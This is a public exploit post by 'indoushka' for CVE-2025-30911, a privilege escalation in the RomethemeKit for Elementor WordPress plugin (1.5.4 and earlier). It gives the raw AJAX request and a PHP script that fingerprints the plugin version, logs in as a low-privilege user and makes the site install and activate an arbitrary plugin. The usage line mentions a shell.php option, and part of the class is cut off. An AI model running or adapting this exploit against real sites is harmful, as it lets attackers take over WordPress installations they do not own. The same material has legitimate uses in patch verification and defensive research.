============================================================================================================================================= | # Title : WordPress RomethemeKit for Elementor 1.5.4 Unauthorized Privilege Escalation | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/rometheme-for-elementor/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/190274/ & CVE-2025-30911 [+] Summary A security vulnerability in the Rometheme for Elementor WordPress content management plugin allows registered users with limited privileges (such as subscribers) to install and activate WordPress plugins without authorization. [+] Technical Details ### Affected Versions - **Plugin**: Rometheme for Elementor - **Affected Versions**: 1.5.4 and earlier - **Patched Versions**: 1.5.5 and above [+] Exploitation Mechanism ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded action=install_requirements&plugin=hello-dolly/hello.php [+] Usage: php poc.php -u http://target.com/ [-f shell.php] [+] POC : base_url = rtrim($url, '/'); $this->username = $username; $this->password = $password; $this->plugin = $plugin; $this->cookie_file = tempnam(sys_get_temp_dir(), 'wp_cookie_'); } public function checkVulnerableVersion() { $readme_url = $this->base_url . "/wp-content/plugins/rometheme-for-elementor/readme.txt"; try { $response = $this->httpRequest($readme_url); if ($response['status_code'] == 200) { if (preg_match('/Stable tag:\s*([\d.]+)/', $response['body'], $matches)) { $version = $matches[1]; if (version_compare($version, '1.5.4', '<=')) { echo "[+] Vulnerable version detected (<= 1.5.4). Proceeding with exploitation...\n"; sleep(3); return true; } else { echo "[-] Plugin version is patched or not vulnerable.\n"; } } else { echo "[-] Unable to determine plugin version from readme.txt.\n"; } } else { echo "[-] readme.txt not found. Plugin may not be installed.\n"; } } catch (Exception $e) { echo "[-] Error checking plugin version: " . $e->getMessage() . "\n"; } return false; } public function login() { $login_url = $this->base_url . "/wp-login.php"; $login_data = [ "log" => $this->username, "pwd" => $this->password, "rememberme" => "forever", "wp-submit" => "Log In" ]; $response = $this->httpRequest($login_url, 'POST', $login_data, true); // Check if login was successful by looking for WordPress cookies if (preg_match('/wordpress_logged_in/', $response['headers'])) { echo "[+] Logged in successfully.\n"; return true; } else { echo "[-] Login failed.\n"; return false; } } public function exploitPluginInstall() { $ajax_url = $this->base_url . "/wp-admin/admin-ajax.php"; $payload = [ "action" => "install_requirements", "plugin" => $this->plugin ]; echo "[*] Sending exploit to install and activate plugin: " . $this->plugin . "\n"; $response = $this->httpRequest($ajax_url, 'POST', $payload, true); echo "[+] Server response:\n"; echo $response['body'] . "\n"; } private function httpRequest($url, $method = 'GET', $data = null, $use_cookies = false) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => $this->getUserAgent(), CURLOPT_HEADER => true, CURLOPT_TIMEOUT => 10 ]); if ($use_cookies) { curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie_file); curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie_file); } if ($method === 'POST' && $data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); } $response = curl_exec($ch); $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); curl_close($ch); $headers = substr($response, 0, $header_size); $body = substr($response, $header_size); return [ 'status_code' => $status_code, 'headers' => $headers, 'body' => $body ]; } private function getUserAgent() { return "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"; } public function run() { echo "[*] Checking plugin version...\n"; if ($this->checkVulnerableVersion()) { if ($this->login()) { $this->exploitPluginInstall(); } } else { echo "[-] Target does not appear to be vulnerable or plugin is not present.\n"; } // Clean up cookie file if (file_exists($this->cookie_file)) { unlink($this->cookie_file); } } public function __destruct() { // Cleanup cookie file on destruction if (file_exists($this->cookie_file)) { unlink($this->cookie_file); } } } // Command line argument parsing if (php_sapi_name() === 'cli') { $options = getopt("u:un:p:pl:", ["url:", "username:", "password:", "plugin:"]); $url = $options['u'] ?? $options['url'] ?? null; $username = $options['un'] ?? $options['username'] ?? null; $password = $options['p'] ?? $options['password'] ?? null; $plugin = $options['pl'] ?? $options['plugin'] ?? "hello-dolly/hello.php"; if (!$url || !$username || !$password) { echo "Usage: php exploit.php -u -un -p [-pl ]\n"; echo "Example: php exploit.php -u https://example.com -un admin -p password -pl hello-dolly/hello.php\n"; exit(1); } $exploit = new WordPressExploit($url, $username, $password, $plugin); $exploit->run(); } else { echo "This script is intended for command line use only.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================